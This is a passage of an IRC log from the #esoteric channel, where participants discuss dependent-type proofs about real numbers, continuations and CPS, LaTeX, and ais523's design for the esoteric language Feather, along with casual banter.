PRIVMSG #esoteric :Like I said, what you gave sounds like a proof schema to me. < 1268093544 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Really simple there. < 1268093547 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Write the proof in your language. < 1268093557 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :\x. e being lambda, of course. < 1268093625 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :How am I supposed to read that? < 1268093650 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :i takes the rationals to the reals; i is some function... < 1268093664 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :... which contains a proof... < 1268093688 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :i : Q -> R -- i is a function from rationals to reals. < 1268093692 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Digression: < 1268093723 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :type R = (f : Q+ -> Q, forall (e1,e2 : Q+). abs (f e1 - f e2) < e1 + e2) < 1268093724 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :so < 1268093733 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :i q = (\_. q, ...) < 1268093742 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :\_.q is a function taking one argument, ignoring it, and returning q < 1268093760 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :you must now prove that for all positive rationals e1 and e2, |(\_. q) e1 - (\_. q) e2| < e1 + e2 < 1268093761 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :i.e. < 1268093770 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :you must now prove that for all positive rationals e1 and e2, |e1 - e2| < e1 + e2 < 1268093773 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :but you can't just assume that < 1268093778 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :do it methodically with your proof construct < 1268093780 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :(I don't believe you can) < 1268093821 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :"you must now prove that for all positive rationals e1 and e2, |e1 - e2| < e1 + e2" - that sounds at least closer to a sane request, but it still will require me defining rationals, to do it completely symbolically. < 1268093845 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Well, no. I mean, |a - b| = a + b < 1268093851 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :I assume you meant <= < 1268093859 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Well, no. < 1268093868 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :I mean, could = a + b < 1268093875 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Oh wait, positive. < 1268093882 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: also, no < 1268093884 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :you must now prove that for all positive rationals e1 and e2, |(\_. q) e1 - (\_. q) e2| < e1 + e2 < 1268093890 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :I did it wrong :D < 1268093899 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :What is q in that statement? < 1268093909 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :the argument to the function i. pay attention < 1268093912 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :=> for all positive rationals e1 and e2, |q - q| < e1 + e2 < 1268093916 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :=> for all positive rationals e1 and e2, |0| < e1 + e2 < 1268093920 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :=> for all positive rationals e1 and e2, 0 < e1 + e2 < 1268093931 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :(prove so) < 1268093933 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :=> for all positive rationals e1 and e2, true < 1268093935 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :=> true < 1268093942 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :but you must prove it /with your proof construct/ < 1268093944 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :=> QED < 1268093947 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :that's the whole point; it's verified < 1268093986 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :OK, if a > 0, and b > 0, then a + b > 0, I can do. I *still* do not know what you are talking about with your function i. Do you want this quantified over all possible functions i? < 1268094016 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION sigh
< 1268094023 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :You know Haskell. Correct? < 1268094032 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Assume that I do not. < 1268094063 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Look, actually forget it. Thanks for your feedback. If I'm making a huge error I'm sure I'll figure it out myself. < 1268094068 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Later, folks. < 1268094070 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Seems to be more functions of the type (i :: a -> R) < 1268094070 0 :cpressey!unknown@unknown.invalid PART #esoteric :? < 1268094109 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :No, wait, more specific, :: Q -> R. Anyways. < 1268094141 0 :alise!~d4b78c32@gateway/web/freenode/x-vdlhcriannubqqsb JOIN :#esoteric < 1268094149 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :If you didn't know Haskell I couldn't explain it in a million years. < 1268094184 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Sounds like a personal problem. < 1268094190 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Sure you could. You could give a Haskell tutorial. < 1268094255 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: Do you have any idea what dependent type theory is? < 1268094260 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Haskell is utter peanuts in comparison. I have to assume some baseline. < 1268094284 0 :alise_!unknown@unknown.invalid QUIT :Ping timeout: 252 seconds < 1268094308 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :I have no formal experience with dependent type theory, only indirect. < 1268094316 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Erm, indirect isn't the right word. < 1268094319 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Informal, I suppose. < 1268094321 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :i don't remember what peanuts taste like, but i'm sure i love them < 1268094393 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :What a tragic statement :P < 1268094430 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :thank you about me. < 1268094566 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :I keep looking down, not seeing a tie, and thinking "?!" < 1268094568 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Silly bowtie. < 1268094610 0 :werdan7!unknown@unknown.invalid QUIT :Ping timeout: 624 seconds < 1268094778 0 :BeholdMyGlory!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1268094795 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :do you like clothes? < 1268094842 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Clothes are for the weak. < 1268094858 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :sooooo... you don't? < 1268094877 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :he wears a barrel < 1268094880 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :and a bear skin < 1268094884 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :i mean you wear all sorts of different clothes, which is weird if you, like normal humans, hate wearing clothes < 1268094896 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :And a necktie. < 1268094903 0 :werdan7!~w7@freenode/staff/wikimedia.werdan7 JOIN :#esoteric < 1268094914 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Just a barrel, a bear skin and a necktie. < 1268094915 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :That's me. < 1268094926 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Well, on a dressier day. < 1268094932 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :I lose the barrel on average days. < 1268094943 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :which days are the average days? < 1268094947 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :somehow i feel i'm the only one being serious < 1268094950 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :how does one calculate that < 1268094955 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Pretty much anything other than going to a wedding or whatnot. < 1268094966 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :weddings are the outliers of my life! < 1268094979 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Hence why they're not the normal days. < 1268095440 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :http://www.math.rutgers.edu/~zeilberg/mamarim/mamarimPDF/real.pdf < 1268095444 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :The ramblings of a crazy man. < 1268095578 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :I learned something great from Ruby: Fibers! < 1268095593 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :"Andrew Wiles's alleged `proof' of FLT, while a crowning human achievement, is not rigorous, since" < 1268095594 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :I think Fibers would be very useful in the C# project I'm working on < 1268095602 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :"it uses continuous analysis, which is meaningless." < 1268095604 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: fibers are shit < 1268095624 0 :madbr!unknown@unknown.invalid PRIVMSG #esoteric :yeah looking at this pdf... it's crazy < 1268095625 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Howso? And is there ANYTHING that isn't? < 1268095802 0 :FireFly!unknown@unknown.invalid QUIT :Quit: Leaving < 1268095805 0 :madbr!unknown@unknown.invalid PRIVMSG #esoteric :Well, for instance, he's telling us stuff like "sqrt(2) doesn't exist" < 1268095813 0 :jcp!~jw@bzflag/contributor/javawizard2539 JOIN :#esoteric < 1268095816 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :he is talking to me < 1268095821 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: because fibers are like continuations and coroutines but shittier < 1268095852 0 :madbr!unknown@unknown.invalid PRIVMSG #esoteric :ph < 1268095854 0 :madbr!unknown@unknown.invalid PRIVMSG #esoteric :oh < 1268095878 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Well, I want something that lets me resume the current .. thing later < 1268095893 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :I'm willing to work with whatever exists the most in .NET < 1268095898 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: continuations. coroutines. < 1268096130 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Continuations exist in .NET? < 1268096150 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :no, but .net is almost useless for programming. < 1268096175 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :.net is the best < 1268096184 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :if you hate yourself. < 1268096191 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Continuations can be done in .Net. < 1268096202 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :By which I of course mean CPS. < 1268096210 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Only via... yeah. < 1268096219 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :I understand call/cc better than CPS < 1268096251 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: CPS is simply the act of transforming the usage of return values to a function that takes a value. < 1268096277 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Instead of "x = function_call(bar);", you do "function_call(bar, \x -> ...);" < 1268096294 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :And that was a delicously odd hybrid of C and Haskell syntax. < 1268096601 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :So, Chrome maps the numpad keys, with numlock on, to the keyCodes 97 etc. < 1268096611 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :97, for the non-ASCII-inclined, is lower-case 'a'. < 1268096621 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :(The key 'A' sends a capital A, 65) < 1268096638 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :That's ... confusing. < 1268096726 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Oh look, Firefox does it too. < 1268096727 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Weird. < 1268096782 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :? < 1268096791 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :grop < 1268097188 0 :alise!unknown@unknown.invalid QUIT :Ping timeout: 252 seconds < 1268098105 0 :Asztal!unknown@unknown.invalid QUIT :Ping timeout: 265 seconds < 1268098151 0 :madbr!unknown@unknown.invalid PRIVMSG #esoteric :weird html5 keyboard handling? < 1268098505 0 :oklokok!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1268099560 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Weird blaming of HTML5 for totally irrelevant things? :P < 1268099619 0 :madbr!unknown@unknown.invalid PRIVMSG #esoteric :ah < 1268100298 0 :adu!~ajr@pool-74-96-89-29.washdc.fios.verizon.net JOIN :#esoteric < 1268100444 0 :Oranjer!unknown@unknown.invalid QUIT :Quit: Leaving. < 1268103661 0 :Oranjer!~HP_Admini@adsl-71-7-92.cae.bellsouth.net JOIN :#esoteric < 1268104092 0 :OxE6!~mu@wireless-lsusecure-9.net.lsu.edu JOIN :#esoteric < 1268104806 0 :Oranjer!unknown@unknown.invalid QUIT :Quit: Leaving. < 1268105751 0 :Oranjer!~HP_Admini@adsl-71-7-92.cae.bellsouth.net JOIN :#esoteric < 1268106144 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :ugh, people in #latex treating me like I've never used a text editor before; much less LaTeX < 1268106217 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :I've never used LaTeX < 1268106591 0 :myndzi\!myndzi@tengototen.net JOIN :#esoteric < 1268106618 0 :myndzi\!unknown@unknown.invalid NICK :myndzi < 1268106806 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :anyone know a LaTeX equivalent of OO.o Math's csub? < 1268106847 0 :coppro!unknown@unknown.invalid QUIT :Remote host closed the connection < 1268107020 0 :coppro!~coppro@unaffiliated/coppro JOIN :#esoteric < 1268107066 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric : a "tnx you badass" would have been appreciated... < 1268107137 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: firefox crashed < 1268107177 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Ah < 1268108476 0 :GreaseMonkey!~gm@unaffiliated/greasemonkey JOIN :#esoteric < 1268111564 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no JOIN :#esoteric < 1268112811 0 :adu!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1268113132 0 :pikhq!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1268113356 0 :adu!~ajr@pool-74-96-89-29.washdc.fios.verizon.net JOIN :#esoteric < 1268113425 0 :Oranjer!unknown@unknown.invalid PART #esoteric :? < 1268113437 0 :pikhq!~pikhq@75-106-100-139.cust.wildblue.net JOIN :#esoteric < 1268113466 0 :bsmntbombdood_!unknown@unknown.invalid NICK :bsmntbombdood < 1268113770 0 :Gracenotes!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1268114230 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :I discovered http://www.periodicvideos.com/ today :( < 1268114475 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :now I'll never get to sleep < 1268114885 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :the one guy looks like your stereotypical professor < 1268114887 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :and he is < 1268115324 0 :coppro!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1268115326 0 :Halph!~coppro@unaffiliated/coppro JOIN :#esoteric < 1268115334 0 :Halph!unknown@unknown.invalid NICK :coppro < 1268115335 0 :werdan7!unknown@unknown.invalid QUIT :Ping timeout: 619 seconds < 1268115389 0 :yetifoot!~user@unaffiliated/yetifoot JOIN :#esoteric < 1268115413 0 :yetifoot!unknown@unknown.invalid PART #esoteric :? < 1268115681 0 :werdan7!~w7@freenode/staff/wikimedia.werdan7 JOIN :#esoteric < 1268115944 0 :jcp!unknown@unknown.invalid QUIT :Quit: I will do anything (almost) for a new router. < 1268116937 0 :oerjan!unknown@unknown.invalid QUIT :Quit: leaving < 1268117329 0 :MizardX!unknown@unknown.invalid QUIT :Ping timeout: 268 seconds < 1268118179 0 :tombom!tombom@wikipedia/Tombomp JOIN :#esoteric < 1268118537 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : anyone know a LaTeX equivalent of OO.o Math's csub? <--- what does csub do? < 1268118551 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :nevermind, found it < 1268118569 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :coppro, but I'm genuinely interested! < 1268118572 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :busy watching videos that tell me things I already know in humourous manner < 1268118583 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: positions a subscript directly below the principal < 1268118590 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :done with \underset < 1268118595 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION will attempt to learn E tomorrow
< 1268118595 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :right < 1268118598 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :E? < 1268118610 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :D done correctly :P < 1268118619 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :http://www.erights.org/elang/ < 1268118636 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Supposed to be secure distrubuted language thingy < 1268118656 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :sure that isn't Erlang? < 1268118662 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :(that you're thinking of; not the site) < 1268118721 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :I'm pretty sure < 1268118833 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :G'night < 1268119009 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Morning. < 1268119029 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : I discovered http://www.periodicvideos.com/ today :( <--- looks interesting < 1268119044 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :it is < 1268119086 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : Supposed to be secure distrubuted language thingy sure that isn't Erlang? <-- "secure" isn't a way I would describe erlang. Not insecure either though. < 1268119104 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I mean, it isn't specifically geared towards security < 1268119108 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :bbl < 1268119111 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :that's true < 1268119130 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :I mentioned it specifically because it's 'elang' < 1268119162 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Bot-tweets are getting a bit suspicious: "About IRC: for sex.. assembly language reminds you at very instruction. at http://paste.lisp.org/display/UNK" < 1268119225 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :sulphur is a really good video < 1268119238 0 :fungot!~fungot@momus.zem.fi JOIN :#esoteric < 1268121228 0 :tombom!unknown@unknown.invalid QUIT :Quit: Leaving < 1268121317 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :you must watch iron < 1268121322 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :the story is hilarious < 1268121599 0 :clog!unknown@unknown.invalid QUIT :ended < 1268121600 0 :clog!unknown@unknown.invalid JOIN :#esoteric < 1268121973 0 :lament!unknown@unknown.invalid QUIT :Ping timeout: 264 seconds < 1268122038 0 :lament!~lament@S0106001b63f462cc.vc.shawcable.net JOIN :#esoteric < 1268122873 0 :madbr!unknown@unknown.invalid QUIT :Quit: Radiateur < 1268123290 0 :oklokok!~oklopol@dsl-tkubrasgw1-fe27dc00-89.dhcp.inet.fi JOIN :#esoteric < 1268123848 0 :Asztal!~asztal@host86-159-105-237.range86-159.btcentralplus.com JOIN :#esoteric < 1268124728 0 :coppro!unknown@unknown.invalid QUIT :Ping timeout: 245 seconds < 1268125653 0 :adu!unknown@unknown.invalid QUIT :Quit: adu < 1268126128 0 :GreaseMonkey!unknown@unknown.invalid QUIT :Quit: HydraIRC -> http://www.hydrairc.org <- Nobody cares enough to cybersquat it < 1268126578 0 :oklokok!unknown@unknown.invalid QUIT :Ping timeout: 245 seconds < 1268127622 0 :MizardX!~MizardX@unaffiliated/mizardx JOIN :#esoteric < 1268129077 0 :Asztal!unknown@unknown.invalid QUIT :Ping timeout: 260 seconds < 1268129399 0 :amca!~amca@CPE-121-208-82-97.cqzr1.cha.bigpond.net.au JOIN :#esoteric < 1268129531 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no JOIN :#esoteric < 1268131851 0 :oerjan!unknown@unknown.invalid QUIT :Quit: leaving < 1268131913 0 :amca!unknown@unknown.invalid QUIT :Quit: Farewell < 1268137448 0 :alise!~d4b78c25@gateway/web/freenode/x-jvetrjubbqhpthfm JOIN :#esoteric < 1268137473 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Hypothesis: It is impossible to be comfortable. < 1268137560 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :19:42:24 ugh, people in #latex treating me like I've never used a text editor before; much less LaTeX < 1268137572 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Most users of LaTeX are near computer-illiterate, I think. < 1268137579 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Mostly mathy people. < 1268137623 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: E is interesting but not nearly as magical as you think. < 1268137637 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :And it requires a good understanding of its principles to use. < 1268137652 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :wow < 1268137656 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :thanks asshole alise < 1268137671 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :What? < 1268137690 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :I am in #LATEX < 1268137703 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :and too bad coppro isn't here; I could help him < 1268137704 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :You mean my LaTeX remark? "Most users of LaTeX are near computer-illiterate" = >50% of LaTeX users are computer-illiterate. < 1268137706 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :I love latekz < 1268137716 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :LaTeX is fine. < 1268137723 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :alise: thank you, you're saying there's a >50% chance I'm computer illiterate < 1268137740 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Quadrescence: No, because there is a large deluge of other evidence to suggest you are not. < 1268137744 0 :ais523!~ais523@unaffiliated/ais523 JOIN :#esoteric < 1268137748 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :okay I am happy then :))) < 1268137749 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :For instance, anyone in #esoteric is almost certainly highly computer literate. < 1268137760 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Hi ais523. < 1268137803 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :hi < 1268137824 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :I have a seminar in half an hour, but am happy to talk until then < 1268137840 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ais523: about Feather. < 1268137860 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :well, if you have questions... < 1268137867 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :I haven't thought much further on it, though < 1268137872 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ais523: What is Feather, in detail? < 1268137874 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :>:) < 1268137894 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric : god dammit, you asshole! < 1268137898 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :well, I'm not sure myself < 1268137901 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric : We were sane for a while there! < 1268137929 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :let's see... you start with a very small TC language < 1268137936 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :I'm planning to use lambda calculus + continuations < 1268137950 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :and a very small bootstrap program, written in that language < 1268137998 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :originally, the bootstrap is just an implementation of that language; simplicity is more important here than correctness or features or anything, so long as it remains TC < 1268138009 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :wait, it has to be correct < 1268138017 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :but it doesn't matter if it has no error handling or something like that < 1268138037 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :now, the bootstrap program has to be written in a vaguely object-oriented style < 1268138057 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :it doesn't need to be actual OO or even a C++ level of OO, but it needs to have parts which are vaguely identifiable as objects < 1268138073 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :lambda calculus + continuations; interesting < 1268138078 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :and the property, that each of those parts can be retroactively replaced < 1268138079 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I'm going to implement that < 1268138118 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :the easiest way to do this seems to be to make each part the return from a call/cc, or somehow otherwise have a continuation that goes back in time to when it was created and replaces it < 1268138130 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ais523: are you sure you absolutely need lambda if you have continuations? < 1268138133 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :calculus of continuations! < 1268138152 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :alise: I'm not, but it's likely to make the self-interp shorter and easier to write < 1268138159 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ais523: also, LC sucks, make it combinator calculus < 1268138173 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :LC has syntactic stupidities like (\f x.f x) vs f < 1268138174 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :and Subtle Cough was proved non-TC, so you need /something/ other than call/cc, at least < 1268138180 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :and (\x. x) vs (\y. y) < 1268138188 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :de bruijn indexes solve the latter but you still need n-conversion < 1268138203 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :alise: planned Feather syntax is [ x | f x ] < 1268138208 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :for \x.(f x) < 1268138213 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :So what? < 1268138222 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :semantics (\f x. f x) = semantics f < 1268138223 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :but < 1268138223 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :alise: because if I didn't say, AnMaster would ask < 1268138228 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :(\f x. f x) =/= f < 1268138240 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :hmm, semantics (\x. f x) = semantics f < 1268138247 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :semantics (\x. x) = semantics (\y. y) < 1268138249 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :but etc < 1268138252 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :De Bruijn indexes solve that one: < 1268138257 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :semantics (\0) = semantics (\0) < 1268138259 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :\0 = \0 < 1268138263 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :but not n-conversion: < 1268138272 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :the same problem happens even with combinators < 1268138278 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :n conversion? < 1268138281 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :ETA CONVERSION? < 1268138284 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :erm oops I wrote it wrong < 1268138292 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :semantics (\x. f x) < 1268138293 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :and, well, in general because you can't compare functions in general in a TC language < 1268138305 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ais523: you compare syntactic structure < 1268138317 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :anyway n-conversion + de bruijn indexes make it work < 1268138319 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :well, ``skk is semantically equal to i, for instance < 1268138320 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :but n-conversion is ugly < 1268138326 0 